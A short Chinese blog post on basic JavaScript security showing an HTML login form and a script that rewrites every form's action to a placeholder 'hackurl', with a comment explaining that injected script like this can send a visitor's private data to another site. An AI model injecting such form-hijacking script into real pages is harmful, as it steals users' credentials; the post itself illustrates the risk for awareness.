`
lovezzy
  • 浏览: 79072 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

javascript 简单信息安全

JavaScriptXHTML脚本HTML 
阅读更多 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
 <head>
  <title> new document </title>
  <meta name="generator" content="editplus" />
  <meta name="author" content="" />
  <meta name="keywords" content="" />
  <meta name="description" content="" />
  <script type="text/javascript">
    function test() {
        alert(document.forms[0].action);
    }
  </script>
 </head>
 <body>
    <form action="someapplication" type="post">
        <input type="text" name="name"/>
        <input type="password" name="pwd"/>
        <input type="submit" value="submit"/>
    </form>
    <script type="text/javascript">
        for(var i = 0; i < document.forms.length; i++) {
            document.forms[i].action = "hackurl";
            // 这段脚本可以通过某些技术手段添加到你访问的页面上，可以将你的私人信息传到一个指定的站点
        }
    </script>
    <input type="button" value="btn" onclick="test();"/>
 </body>
</html>
 
分享到：
| java ee 常用jar包下载地址
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

Magicbox
Global site tag (gtag.js) - Google Analytics